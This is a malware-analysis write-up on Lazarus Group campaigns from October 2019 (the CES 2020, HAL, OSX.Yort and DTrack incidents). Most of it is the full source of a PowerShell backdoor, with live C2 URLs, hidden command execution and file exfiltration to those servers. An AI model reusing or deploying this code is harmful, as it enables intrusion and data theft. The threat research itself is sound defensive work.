763 lines
38 KiB
Markdown
763 lines
38 KiB
Markdown
# A Look into the Lazarus Group's Operations in October 2019
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## Table of Contents
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* [Malware analysis](#Malware-analysis)
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* [Cyber kill chain](#Cyber-kill-chain)
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* [Indicators Of Compromise (IOC)](#IOC)
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* [References MITRE ATT&CK Matrix](#Ref-MITRE-ATTACK)
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* [Links](#Links)
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+ [Original Tweet](#Original-Tweet)
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+ [Link Anyrun](#Links-Anyrun)
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+ [External analysis](#Analysis)
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## Malware analysis <a name="Malware-analysis"></a>
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###### The next analysis try to kept the recents events and a logicial improvement and technics of the group, this can go back in the past for compare it.
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### CES 2020 incident (NukeSped)
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###### We can see that the document target specifily the south korean exhibitors with the follow tittle "Application form for American Las Vegas CES 2020"
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###### This initial vector of the infection begin by a current exploit in HWP (CVE-2015-6585) to execute an EPS script, this download and execute the next stage of the infection.
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###### This execute fisrtly a common trick RtlCaptureContext for have ability to register a top-level exception handler and avoid debbuging.
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###### Once this done, the malware execute a series of actions like list the disks, process, files and push it in differents files as temp file in waiting to send the data to C2.
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###### The RAT push the cookie settings and guid for the identification in the C2.
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###### This push the list of C2 address to contact, the languages to understand and begin the contact with the C2 in giving the host info.
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###### List of the languages used :
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|RFC4646/ISO 639 Ref|Lang|
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|:-------------:|:-------------:|
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|Az-Arab|Azerbaijani in Arabic script|
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|de-CH|Swiss German|
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|en-US|English as used in the United States|
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###### Interesting to see that not only south korea language is choisen and show that the group target all exhibitors (more a hundred exhibitors only for South Korea). This think possibly that the group manage the event give hardware specifily for the shows to the customers, that explains why this to don't include specific language like South Korea. If the target is interesting for the group, this can execute command and others tools in the computer infected.
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###### We can see in the list of all the domains used that this all as different cloud providers and are legit website hijacked by vulnerable wordpress.
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|IP|ASN|Organization|Route|City|Coordinates|Country|
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|:-------------:|:-------------:|:-------------:|:-------------:|:-------------:|:-------------:|:-------------:|
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|64.151.229.52|AS26753|In2net Network Inc.|64.151.192.0/18|Toronto|43.6861,-79.4025|Canada|
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|185.136.207.217|AS203377|LAB internet ve Bilisim Hizmetleri|185.136.207.0/24|Eskiehir|39.7767,30.5206|Turkey|
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|83.169.17.240|AS8972|Europe GmbH|83.169.16.0/21|Köln|50.9541,6.9103|Germany|
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###### We can confirmed it by the Whois records and by the certificats push on the websites know at all the sites have between up early August 2019 at September 2019.
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### HAL incident (JakyllHyde)
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###### The document specifically target the Hindustan Aeronautics Limited company (HAL) that the national aeronautics in India. This use false announcements for recruitment for target probably interesting profile or internal employees in asking for their opinion about announcements.
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###### The attack vector is an maldoc which use a macro for drop and execute the implant. The first bloc is a declaration of function for load the future extracted dll.
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###### The next bloc have multiple functions like decode from the base 64 in binary and string, verify the path of folder/file, create a folder and extract the correct payload from the form in maldoc according to the OS.
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###### The following bloc have extraction functions (drop the lure) and for get the name of the lure and the dll.
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###### We can see the autoopen function for execute the macro at the opening of the document and the data of the malware in base 64.
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###### The backdoor begins to do the reconnaissance actions like list the process,system informations(Username, ComputerName ...)
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###### After this list all the disks on the computer and all the files in current working directories in waiting the order of the C2.
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###### This have the possibility to intercepts keystrokes (push it in temporary file), make screenshots, send interesting files by stream of bytes data.
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###### If the attacker wants this can push and remove the persistence performed by a Startup key.
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###### The backdoor contact the following IP :
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|IP|ASN|Organization|Route|City|Coordinates|Country|
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|:-------------:|:-------------:|:-------------:|:-------------:|:-------------:|:-------------:|:-------------:|
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|193.70.64.163|AS16276|thetiscloud.it|193.70.0.0/17| San Donato Milanese|45.4105,9.2684|Italy|
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###### By the certificates, we can see that the website is up since 2018, seems be a legit website hijacked.
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###### Like the last incident, Lazarus group try to get high technologies, this possible that the interest is the fact that HAL is in cooperation for product and use the new french militairy aircraft (Rafale) in the India country.
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### OSX Malwares (OSX.Yort)
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###### The initial vector of the infection is a maldoc with a VBA macro, this have two sections one for infected MacOSX and one for Windows. We can see the declaration of the functions for MacOSX and one of four splitted functions for get the payload on the Windows version
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###### Here, we can observe the initiation of the payloads according with the OS in the AutoOpen (Run a macro when Excel or Word document is open).
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###### The backdoor consists of a single loop which load the configuration and create a session for waiting the orders of the C2. The configuration can be update and the malware can be sleep for a delay given by the C2.
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###### Many functions for send and get data are derived of a common based code with a specific action as perform at the final.
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###### Foreach, this initiate and push the paramerters for communicate with the C2.
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###### This can reply to the C2 like a pulse for alert at is still up (ReplyDie), download a file (ReplyDown), download and execute a file (ReplyExec), execute a command (Replycmd) or open another CLI (ReplyOtherShellCmd).
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###### We can see on the data pushed on the C2 that a xor is performed with the ```"0xAA"``` value.
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###### The malware don't have a persistence but by the fact that can execute command, the attacker can decide push a persistence if this neccessary, a function is performed when the attack close the session for return that the backdoor is correctly closed.
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###### This according with the Kaspersky analysis of Yort on the functions of the backdoor:
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+ ###### Set sleep time (delay between C2 interactions)
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+ ###### Exit session
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+ ###### Collect basic host information
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+ ###### Check malware status
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+ ###### Show current malware configuration
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+ ###### Update malware configuration
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+ ###### Execute system shell command
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+ ###### Download & Upload files
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###### Another sample of Yort have been spotted with a reedited installer of Flash Player, on the strings, we can observed that is the version 10.2 that is rebuilded.
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###### We can see in the main function that install the legit Flash player, the checker software for update for avoid to become suspicious to the user and launch the backdoor.
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###### This loading the configuration and options of the Yort, the rest is the same that the previous sample of Yort.
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### Powershell Backdoor (PowerShell/NukeSped)
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###### Now, see the Windows version, this use Powershell language for the backdoor, the first bloc of the malware is the global values for the configuration, list of URL to contact and control values.
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``` powershell
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$global:breakvalue=1
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$global:mbz=132608
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$global:tid=0
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$global:url="https://crabbedly.club/board.php","https://craypot.live/board.php","https://indagator.club/board.php"
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$global:nup=0
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$global:nwct=0
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```
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###### The backdoor execute a while loop until that the order to destroy the session push to the value of the variable "breakvalue" at 0.
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``` powershell
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function main()
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{
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$global:tid=Get-Random -Minimum 128 -Maximum 16383
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while($global:breakvalue)
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{
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Try
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{
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if($global:nwct -gt 0){$global:nwct=$global:nwct- 1}
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if($global:nwct -le 0){ if (PulsetoC2(16) -eq $true){Start-Sleep -s 4; command($global:url[$global:nup])} }
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}
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Catch{}
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if($global:breakvalue -ne 1){break}
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Start-Sleep -s 60
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}
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}
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try{Remove-Item -Path $MyInvocation.MyCommand.Source}catch{}
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main
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```
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###### In function of the result of the id push by the C2, this execute the following actions in the infected computer.
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``` powershell
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function command($url)
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{
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try
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{
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while($global:breakvalue)
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{
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$rq=PushDatatoC2 $global:tid 22 $null 0 $global:url[$global:nup]
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if($rq -eq $null){break}
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$basefunctions=DecryptC2Data $rq $global:mbz
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if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){break}
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$nmsg=ConverttoInt32 $basefunctions 0
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$nmlen=ConverttoInt32 $basefunctions 8
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if($basefunctions.length -ne ($nmlen+12)){break}
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$cres=0
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if($nmsg -eq 2){$cres=slp $basefunctions}
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elseif($nmsg -eq 3){$cres=diconnect}
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elseif($nmsg -eq 11){$cres=Set-SysInfo}
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elseif($nmsg -eq 12){$cres=kalv}
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elseif($nmsg -eq 14){$cres=Get-actions}
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elseif($nmsg -eq 15){$cres=Set-actions $basefunctions}
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elseif($nmsg -eq 18){$cres=Set-command $basefunctions}
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elseif($nmsg -eq 20){$cres=upload $basefunctions}
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elseif($nmsg -eq 21){$cres=download $basefunctions}
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elseif($nmsg -eq 24){$cres=launch_process $basefunctions}
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else{break}
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if($cres -eq 0){break}
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Start-Sleep -s 1
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}
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Start-Sleep -s 4
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if(PulsetoC2(17) -eq $true){}
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}
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catch{}
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}
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```
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###### The next bloc content the functions for copy the bytes and convert from different encoding the data.
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``` powershell
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function CopyBytes($DatatoCopy,$dst,$dstOffset)
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{
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$Bytes=[System.BitConverter]::GetBytes($DatatoCopy)
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return [System.Buffer]::BlockCopy($Bytes,0,$dst,$dstOffset,$Bytes.length)
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}
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function CopyBytes_UTF8($DatatoCopy,$dst,$dstOffset)
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{
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$Bytes=[System.Text.ASCIIEncoding]::UTF8.GetBytes($DatatoCopy)
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return [System.Buffer]::BlockCopy($Bytes,0,$dst,$dstOffset,$Bytes.length)
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}
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function ConverttoInt32($buffer,$Offset){ return [System.BitConverter]::ToInt32($buffer,$Offset) }
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function Get_UTF8Bytes($Data){ return [System.Text.ASCIIEncoding]::UTF8.GetBytes($Data) }
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```
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###### The following functions are for send and get the data from the C2. We can note that the user agent is the same that the MacOS backdoor.
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``` powershell
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function senddata($tid,$rid,$array_data,$DatatoC2_Length,$url)
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{
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try
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{
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if($array_data -eq $null){$array_data=New-Object byte[] 0}
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$ID=-join((48..57)|Get-Random -Count 12|%{[char]$_}) #10 random numbers
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$filename=-join((48..57)|Get-Random -Count 12|%{[char]$_})+".dat" # LIKE 5216804379.dat by example
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$date_msg="--" + (Get-Date -Format yyyy-MM-dd-hh-mm-ss-fffffff) + "--"
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$netobject=[System.Net.WebRequest]::create($url + "?v=" + $ID)
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$netobject.Method="POST"
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$netobject.ContentType="multipart/form-data; boundary=$date_msg"
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$netobject.TimeOut=120000
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$netobject.ReadWriteTimeout=120000
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$netobject.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
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$pbdy=Get_UTF8Bytes("`r`n`r`n--" + $date_msg + "`r`nContent-Disposition: form-data; name=`"_webident_f`"`r`n`r`n" + $tid + "`r`n--" + $date_msg + "`r`nContent-Disposition: form-data; name=`"_webident_s`"`r`n`r`n" + $rid + "`r`n--" + $date_msg + "`r`nContent-Disposition: form-data; name=`"file`"; filename=`"" + $filename + "`"`r`nContent-Type: octet-stream`r`n`r`n")
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$ebdy=Get_UTF8Bytes("`r`n--" + $date_msg + "`r`n")
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$netobject.ContentLength=$pbdy.Length + $DatatoC2_Length + $ebdy.Length;
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$StreamObject=$netobject.GetRequestStream()
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$StreamObject.Write($pbdy,0,$pbdy.Length)
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$StreamObject.Flush()
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if($DatatoC2_Length -gt 0)
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{
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$StreamObject.Write($array_data,0,$DatatoC2_Length)
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$StreamObject.Flush()
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}
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$StreamObject.Write($ebdy,0,$ebdy.Length)
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$StreamObject.Flush()
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$StreamObject.Close()
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return $netobject
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}
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catch{return $null}
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}
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function GetResponseC2($netobject,$mxz)
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{
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try
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{
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$response=$netobject.GetResponse()
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if($response.StatusCode -eq "OK")
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{
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$stream=$response.GetResponseStream()
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$byteobject=New-Object byte[] $mxz
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$val=0
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$response_length=$byteobject.Length
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if($response_length -gt $response.ContentLength){$response_length=$response.ContentLength}
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while($val -lt $response_length)
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{
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$dataread=$stream.Read($byteobject,$val,$response_length-$val)
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if($dataread -le 0){break}
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$val=$val+$dataread
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}
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if($val -ne 0)
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{
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if($val -eq 1){$byteobject2=New-Object byte[] 2}
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else
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{
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$byteobject2=New-Object byte[] $val}
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[System.Buffer]::BlockCopy($byteobject,0,$byteobject2,0,$val)
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}
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else{$byteobject2=New-Object byte[] 2}
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$response.Close()
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$r.Close()
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$r.Dispose()
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return $byteobject2
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}
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else{return $null}
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}
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catch{return $null}
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}
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```
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###### The both next functions use the same XOR value ```"0xAA"``` for encryt and decrypt data from the C2. We can note again that the same XOR value that in the MacOS backdoor.
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``` powershell
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function PushDatatoC2($tid,$rid,$bd,$DatatoC2_Length,$url)
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{
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if($DatatoC2_Length -gt 0){ for($i=0;$i -lt $DatatoC2_Length; $i++){$bd[$i]=$bd[$i] -bxor 0xAA} }
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return senddata $tid $rid $bd $DatatoC2_Length $url
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}
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function DecryptC2Data($netobject,$mxz)
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{
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$DataC2=GetResponseC2 $netobject $mxz
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if($DataC2 -ne $null){for($i=0; $i -lt $DataC2.length; $i++){ $DataC2[$i] = $DataC2[$i] -bxor 0xAA }}
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return $DataC2
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}
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```
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###### Like the MacOS backdoor, we observe that the back have multiple mods for communicate with the C2 and depends of the initial reply of the C2.
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``` powershell
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function updatemod1()
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{
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$trigger=0
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do
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{
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$byteobject=New-Object byte[] 12
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CopyBytes 5 $byteobject 0
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CopyBytes 0 $byteobject 4
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CopyBytes 0 $byteobject 8
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$response=PushDatatoC2 $global:tid 21 $byteobject $byteobject.Length $global:url[$global:nup]
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if($response -eq $null){break}
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$byteobject=DecryptC2Data $response $global:mbz
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if(($byteobject -eq $null) -or ($byteobject.length -ne 2)){break}
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$trigger=1
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}while($false)
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return $trigger
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}
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function updatemod2()
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{
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$trigger=0
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do
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{
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$byteobject=New-Object byte[] 16
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CopyBytes 4 $byteobject 0
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CopyBytes 0 $byteobject 4
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CopyBytes 4 $byteobject 8
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CopyBytes 0 $byteobject 12
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$rq=PushDatatoC2 $global:tid 21 $byteobject $byteobject.Length $global:url[$global:nup]
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if($rq -eq $null){break}
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$byteobject=DecryptC2Data $rq $global:mbz
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if(($byteobject -eq $null) -or ($byteobject.length -ne 2)){break}
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$trigger=1
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} while($false)
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return $trigger
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}
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function updatemod3($nmsg)
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{
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$trigger=0
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do
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{
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$byteobject=New-Object byte[] 12
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CopyBytes $nmsg $byteobject 0
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CopyBytes 0 $byteobject 4
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CopyBytes 0 $byteobject 8
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$rq=PushDatatoC2 $global:tid 20 $byteobject $byteobject.Length $global:url[$global:nup]
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if($rq -eq $null){break}
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$byteobject=DecryptC2Data $rq $global:mbz
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if(($byteobject -eq $null) -or ($byteobject.length -lt 12)){break}
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$nmsg=ConverttoInt32 $byteobject 0
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$nmlen=ConverttoInt32 $byteobject 8
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if($byteobject.length -ne ($nmlen+12)){break}
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if(($nmlen -ne 0) -or ($nmsg -ne 5)){break}
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$trigger=1
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} while($false)
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return $trigger
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}
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```
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###### This have the possiblity to set in standby the backdoor, close the current session and get the system informations.
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``` powershell
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function slp($buf)
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{
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$trigger=0
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do
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{
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$nmlen=ConverttoInt32 $buf 8
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if($nmlen -ne 4){break}
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$global:nwct=ConverttoInt32 $buf 12
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$trigger=updatemod1
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$trigger=0
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} while($false)
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return $trigger
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}
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function disconnect()
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{
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$trigger=0
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do
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{
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$trigger=updatemod1
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if($trigger -eq 0){break}
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$trigger=1
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$global:breakvalue=0
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} while($false)
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return $trigger
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}
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function Set-SysInfo()
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{
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$trigger=0
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do
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{
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$hostnamename=$env:COMPUTERNAME
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$ip=(Test-Connection -ComputerName $hostname -Count 1 | Select -ExpandProperty IPV4Address).Address
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$OS=[System.Environment]::OSVersion.Version
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$OS_major=$OS.major
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$OS_minor=$OS.minor
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$byteobject=New-Object byte[] 300
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CopyBytes 11 $byteobject 0
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CopyBytes 0 $byteobject 4
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CopyBytes 288 $byteobject 8
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CopyBytes_UTF8 $hostname $byteobject 12
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CopyBytes $ip $byteobject 272
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CopyBytes 1 $byteobject 276
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CopyBytes $OS_major $byteobject 280
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CopyBytes $OS_minor $byteobject 284
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CopyBytes 3 $byteobject 288
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CopyBytes 0 $byteobject 292
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CopyBytes 6 $byteobject 296
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$rq=PushDatatoC2 $global:tid 20 $byteobject $byteobject.Length $global:url[$global:nup]
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if($rq -eq $null){break}
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$byteobject=DecryptC2Data $rq $global:mbz
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if(($byteobject -eq $null) -or ($byteobject.length -lt 12)){break}
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$nmsg=ConverttoInt32 $byteobject 0
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$nmlen=ConverttoInt32 $byteobject 8
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if($byteobject.length -ne ($nmlen+12)){break}
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if(($nmlen -ne 0) -or ($nmsg -ne 5)){break}
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$trigger=1
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} while($false)
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return $trigger
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}
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```
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###### This can get the actions and push the actions to do on the system.
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``` powershell
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function Get-actions()
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{
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$trigger=0
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do
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{
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$nmsg=14
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$nrsv=0
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$nmlen=2152
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$basefunctions=New-Object byte[] 2164
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CopyBytes $nmsg $basefunctions 0
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CopyBytes $nrsv $basefunctions 4
|
|
CopyBytes $nmlen $basefunctions 8
|
|
for($i=0;$i -lt $global:url.length;$i++){CopyBytes_UTF8 $global:url[$i] $basefunctions (84+260*$i)}
|
|
$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
|
|
if($rq -eq $null){break}
|
|
$basefunctions=DecryptC2Data $rq $global:mbz
|
|
if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){break}
|
|
$nmsg=ConverttoInt32 $basefunctions 0
|
|
$nmlen=ConverttoInt32 $basefunctions 8
|
|
if($basefunctions.length -ne ($nmlen+12)){break}
|
|
if(($nmlen -ne 0) -or ($nmsg -ne 5)){break}
|
|
$trigger=1
|
|
} while($false)
|
|
return $trigger
|
|
}
|
|
function Set-actions($buf)
|
|
{
|
|
$trigger=0
|
|
do
|
|
{
|
|
$nmlen=ConverttoInt32 $buf 8
|
|
if($nmlen -ne 2152){break}
|
|
for($i=0;$i -lt $global:url.length;$i++)
|
|
{
|
|
$js=0
|
|
for($js=0;$js -lt 260;$js++){if($buf[(84+260*$i)+$js] -eq 0){break}}
|
|
$global:url[$i] = [System.Text.ASCIIEncoding]::UTF8.GetString($buf, (84+260*$i), $js)
|
|
}
|
|
$trigger=updatemod1
|
|
if($trigger -eq 0){break}
|
|
$trigger=1
|
|
} while($false)
|
|
return $trigger
|
|
}
|
|
```
|
|
###### The attacker can perform a specific action in another CLI.
|
|
``` powershell
|
|
function Set-command($buf)
|
|
{
|
|
$trigger=0
|
|
do
|
|
{
|
|
$nmlen=ConverttoInt32 $buf 8
|
|
$arg=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
|
|
$path=[System.IO.Path]::GetTempFileName()
|
|
$process = New-Object System.Diagnostics.Process
|
|
$pif = New-Object System.Diagnostics.ProcessStartInfo
|
|
$pif.FileName="cmd.exe"
|
|
$pif.CreateNoWindow=$true;
|
|
$pif.WindowStyle="Hidden";
|
|
$pif.Arguments="/c "+$arg+" >"+$path+" 2>&1"
|
|
$process.StartInfo=$pif
|
|
$process.Start() | Out-Null
|
|
$srs=""
|
|
$count=0
|
|
while ($process.HasExited -eq $false)
|
|
{
|
|
if($count -gt 24){break}
|
|
$count=$count+1
|
|
Start-Sleep -s 1
|
|
}
|
|
if([System.IO.File]::Exists($path))
|
|
{
|
|
try
|
|
{
|
|
$content=Get-Content -Path $path;
|
|
Remove-Item -Path $path;
|
|
if($content.GetType().FullName -eq "System.Object[]")
|
|
{
|
|
for($i=0;$i -lt $content.Length; $i++){$srs=$srs+$content[$i]+"`r`n"}
|
|
}
|
|
else{$srs=$content}
|
|
}
|
|
catch{$srs=""}
|
|
}
|
|
$srsb=Get_UTF8Bytes($srs)
|
|
$trigger= updatemod3 5
|
|
if($trigger -eq 0){break}
|
|
$srsb=Get_UTF8Bytes($srs)
|
|
$ncr=0
|
|
$trigger=1
|
|
while($ncr -lt $srsb.length)
|
|
{
|
|
$ncrs=1024*100
|
|
if($ncrs -gt ($srsb.length-$ncr)){$ncrs=($srsb.length-$ncr)}
|
|
$nmlen=$ncrs
|
|
$basefunctions=New-Object byte[] (12+$ncrs)
|
|
CopyBytes 16 $basefunctions 0
|
|
CopyBytes 0 $basefunctions 4
|
|
CopyBytes $nmlen $basefunctions 8
|
|
for($i=0;$i -lt $ncrs;$i++){$basefunctions[12+$i]=$srsb[$ncr+$i]}
|
|
$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
|
|
if($rq -eq $null){$trigger=0;break}
|
|
$basefunctions=DecryptC2Data $rq $global:mbz
|
|
if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){$trigger=0;break}
|
|
$nmsg=ConverttoInt32 $basefunctions 0
|
|
$nmlen=ConverttoInt32 $basefunctions 8
|
|
if($basefunctions.length -ne ($nmlen+12)){$trigger=0;break}
|
|
if(($nmlen -ne 0) -or ($nmsg -ne 5)){$trigger=0;break}
|
|
$ncr=$ncr+$ncrs
|
|
}
|
|
if($trigger -eq 0){break}
|
|
$trigger=updatemod3 17
|
|
if($trigger -eq 0){break}
|
|
$trigger=1
|
|
}while($false)
|
|
return $trigger
|
|
}
|
|
```
|
|
###### Finally, this can download and upload files on the C2, send a pulse to the C2, push a trigger and launch a new process ( like push an additionnal tool).
|
|
``` powershell
|
|
function upload($buf)
|
|
{
|
|
$trigger=0
|
|
do
|
|
{
|
|
$nmlen=ConverttoInt32 $buf 8
|
|
$path=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
|
|
$fs=$null
|
|
try{$fs=[System.IO.File]::Open($path, [System.IO.FileMode]::Append)}catch{$fs=$null}
|
|
if($fs -eq $null){$trigger=updatemod2;}
|
|
else
|
|
{
|
|
try
|
|
{
|
|
$fl=[int]$fs.length
|
|
$nmsg=5
|
|
$nrsv=0
|
|
$nmlen=4
|
|
$basefunctions=New-Object byte[] 16
|
|
CopyBytes $nmsg $basefunctions 0
|
|
CopyBytes $nrsv $basefunctions 4
|
|
CopyBytes $nmlen $basefunctions 8
|
|
CopyBytes $fl $basefunctions 12
|
|
$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
|
|
if($rq -eq $null){break}
|
|
$basefunctions=DecryptC2Data $rq $global:mbz
|
|
if(($basefunctions -eq $null) -or ($basefunctions.length -lt 24)){break}
|
|
$nmsg=ConverttoInt32 $basefunctions 0
|
|
$nmlen=ConverttoInt32 $basefunctions 8
|
|
$rfl=ConverttoInt32 $basefunctions 12
|
|
if($basefunctions.length -ne ($nmlen+12)){break}
|
|
if(($nmlen -ne 12) -or ($nmsg -ne 5)){break}
|
|
$trigger=updatemod1
|
|
if($trigger -eq 0){break}
|
|
$bed=0
|
|
while($true)
|
|
{
|
|
$rq=PushDatatoC2 $global:tid 22 $null 0 $global:url[$global:nup]
|
|
if($rq -eq $null){$trigger=0;break}
|
|
$basefunctions=DecryptC2Data $rq $global:mbz
|
|
if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){$trigger=0;break}
|
|
$nmsg=ConverttoInt32 $basefunctions 0
|
|
$nmlen=ConverttoInt32 $basefunctions 8
|
|
if($basefunctions.length -ne ($nmlen+12)){$trigger=0;break}
|
|
$fs.Write($basefunctions,12,$nmlen)
|
|
if($nmsg -eq 17){$bed=1}
|
|
$trigger=updatemod1
|
|
if($trigger -eq 0){break}
|
|
if($bed -eq 1){break}
|
|
}
|
|
$fs.Close()
|
|
if($trigger -eq 0){break}
|
|
}
|
|
catch{$fs.Close();break}
|
|
}
|
|
$trigger=1
|
|
} while($false)
|
|
return $trigger
|
|
}
|
|
function download($buf)
|
|
{
|
|
$trigger=0
|
|
do
|
|
{
|
|
$nmlen=ConverttoInt32 $buf 8
|
|
$path=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
|
|
$fs=$null
|
|
try{$fs=[System.IO.File]::OpenRead($path)}catch{$fs=$null}
|
|
if($fs -eq $null){$trigger=updatemod2;}
|
|
else
|
|
{
|
|
try
|
|
{
|
|
$fl=$fs.length
|
|
$basefunctions=New-Object byte[] 24
|
|
CopyBytes 5 $basefunctions 0
|
|
CopyBytes 0 $basefunctions 4
|
|
CopyBytes 12 $basefunctions 8
|
|
CopyBytes $fl $basefunctions 12
|
|
CopyBytes 0 $basefunctions 16
|
|
CopyBytes 0 $basefunctions 20
|
|
$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
|
|
if($rq -eq $null){break}
|
|
$basefunctions=DecryptC2Data $rq $global:mbz
|
|
if(($basefunctions -eq $null) -or ($basefunctions.length -lt 16)){break}
|
|
$nmsg=ConverttoInt32 $basefunctions 0
|
|
$nmlen=ConverttoInt32 $basefunctions 8
|
|
$rfl=ConverttoInt32 $basefunctions 12
|
|
if($basefunctions.length -ne ($nmlen+12)){break}
|
|
if(($nmlen -ne 4) -or ($nmsg -ne 5)){break}
|
|
$trigger=1
|
|
if($rfl -gt $fl){$rfl=$fl}
|
|
$fs.Seek($rfl, [System.IO.SeekOrigin]::Begin)
|
|
while($true)
|
|
{
|
|
$ncrs=1024*100
|
|
$tbf=New-Object byte[] $ncrs
|
|
$nr=$fs.Read($tbf, 0, $tbf.Length)
|
|
if($nr -eq 0){break}
|
|
$nmsg=16
|
|
$nrsv=0
|
|
$nmlen=$nr
|
|
$basefunctions=New-Object byte[] (12+$nr)
|
|
CopyBytes $nmsg $basefunctions 0
|
|
CopyBytes $nrsv $basefunctions 4
|
|
CopyBytes $nmlen $basefunctions 8
|
|
for($i=0;$i -lt $nr;$i++){$basefunctions[12+$i]=$tbf[$i]}
|
|
$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
|
|
if($rq -eq $null){$trigger=0;break}
|
|
$basefunctions=DecryptC2Data $rq $global:mbz
|
|
if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){$trigger=0;break}
|
|
$nmsg=ConverttoInt32 $basefunctions 0
|
|
$nmlen=ConverttoInt32 $basefunctions 8
|
|
if($basefunctions.length -ne ($nmlen+12)){$trigger=0;break}
|
|
if(($nmlen -ne 0) -or ($nmsg -ne 5)){$trigger=0;break}
|
|
}
|
|
$fs.close()
|
|
if($trigger -eq 0){break}
|
|
$trigger=updatemod3 17
|
|
if($trigger -eq 0){break}
|
|
}
|
|
catch{$fs.Close();break}
|
|
}
|
|
$trigger=1
|
|
} while($false)
|
|
return $trigger
|
|
}
|
|
function kalv()
|
|
{
|
|
$trigger=0
|
|
do
|
|
{
|
|
$trigger=updatemod1
|
|
if($trigger -eq 0){break}
|
|
$trigger=1
|
|
} while($false)
|
|
return $trigger
|
|
}
|
|
function launch_process($buf)
|
|
{
|
|
$trigger=0
|
|
do
|
|
{
|
|
$nmlen=ConverttoInt32 $buf 8
|
|
$arg=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
|
|
Start-Process $arg
|
|
$trigger=updatemod1
|
|
if($trigger -eq 0){break}
|
|
$trigger=1
|
|
} while($false)
|
|
return $trigger
|
|
}
|
|
function PulsetoC2($rid)
|
|
{
|
|
$trigger=$false
|
|
if($rid -eq 16){$global:nup=($global:nup + 1) % $global:url.Length}
|
|
$rq=senddata $global:tid $rid $null 0 $global:url[$global:nup]
|
|
if($rq -ne $null)
|
|
{
|
|
$basefunctions=GetResponseC2 $rq $global:mbz
|
|
if(($basefunctions.length -eq 2) -and ($basefunctions[0] -eq 49)){$trigger=$true}
|
|
}
|
|
return $trigger
|
|
}
|
|
```
|
|
###### As final, the both backdoor have the same functionalities and use the same common infrastructure for the both platforms targetted.
|
|
### Nuclear's plant incident (DTrack)
|
|
###### On the stings, we can observe a function timestamp who return a date of version, this is an of the sqllite version of the C librairies (3.21), this can be an reuse code of one of stealer of the group for a new stealer.
|
|
|
|
|
|
###### The malware pivoting in the infrastructure and get an elevation in the privileges by the remote access to administrative shares (C$) with a like a default password "abcd@123".
|
|
|
|
###### The sensitive operations to do on the computer have an indicative CCS_, this can be a code identifier for this custom payload of DTrack. CCS can be acronym Cabinet Committee on Security (CCS) of the Central Government of India.
|
|
###### Dtrack have the capacity to get the mac address and infos on the network card adapter.
|
|
|
|
###### As strealer, Dtrack can get the data of web broswer (Chrome and Firefox), this parsed the history, stored password and the URL. URl is interesting due to many company push in the deploiement in the new computer in the domain, the intranet links, adminstrative links or links to console like SCADA, it's a good method for environmental recognition.
|
|
|
|
|
|
|
|
###### Once this done, Dtrack list the disks and the files on the disks and write it in a local tmp file with the password , this password is common at all the operations of the lazarus group.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## Cyber kill chain <a name="Cyber-kill-chain"></a>
|
|
###### The process graphs resume all the cyber kill chains used by the attacker.
|
|
![alt text]()
|
|
## References MITRE ATT&CK Matrix <a name="Ref-MITRE-ATTACK"></a>
|
|
###### List of all the references with MITRE ATT&CK Matrix
|
|
|
|
|Enterprise tactics|Technics used|Ref URL|
|
|
| :---------------: |:-------------| :------------- |
|
|
|
|
## Indicators Of Compromise (IOC) <a name="IOC"></a>
|
|
###### List of all the Indicators Of Compromise (IOC)
|
|
|Indicator|Description|
|
|
| ------------- |:-------------:|
|
|
|
|
###### This can be exported as JSON format [Export in JSON]()
|
|
## Links <a name="Links"></a>
|
|
###### Original tweet:
|
|
* [https://twitter.com/RedDrip7/status/1186562944311517184](https://twitter.com/RedDrip7/status/1186562944311517184) <a name="Original-Tweet"></a>
|
|
* [https://twitter.com/Rmy_Reserve/status/1188235835956551680](https://twitter.com/Rmy_Reserve/status/1188235835956551680)
|
|
* [https://twitter.com/a_tweeter_user/status/1188811977851887616](https://twitter.com/a_tweeter_user/status/1188811977851887616)
|
|
* [https://twitter.com/spider_girl22/status/1187288313285079040](https://twitter.com/spider_girl22/status/1187288313285079040)
|
|
* [https://twitter.com/objective_see/status/1187094701729443840](https://twitter.com/objective_see/status/1187094701729443840)
|
|
* [https://twitter.com/TweeterCyber/status/1191391454981177344](https://twitter.com/TweeterCyber/status/1191391454981177344)
|
|
|
|
###### Links Anyrun: <a name="Links-Anyrun"></a>
|
|
* [6850189bbf5191a76761ab20f7c630ef.xls](https://app.any.run/tasks/27ea35e6-6211-468d-9b8a-8c4cf22764ce)
|
|
* [JD-HAL-Manager.doc](https://app.any.run/tasks/42c972b1-ec38-4637-9354-9de930ff50b2)
|
|
* [public.dll](https://app.any.run/tasks/9eb78213-df55-44c3-9465-e58eb0869e58)
|
|
* [CES2020 참관단.hwp](https://app.any.run/tasks/31be34b3-4d72-4831-8b76-6dfebe729b84)
|
|
* [6850189bbf5191a76761ab20f7c630ef.xls](https://app.any.run/tasks/a766e70e-b07f-4a59-80fb-b18597d85b08)
|
|
* [a0664ac662802905329ec6ab3b3ae843f191e6555b707f305f8f5a0599ca3f68.exe](https://app.any.run/tasks/6396ddf7-4000-4ffb-92ea-bc33612ec8c0)
|
|
|
|
###### External analysis: <a name="Analysis"></a>
|
|
|
|
* [Analysis of Powershell malware of Lazarus group](https://blog.alyac.co.kr/2388 )
|
|
* [Cryptocurrency businesses still being targeted by Lazarus](https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/)
|
|
###### Ressources :
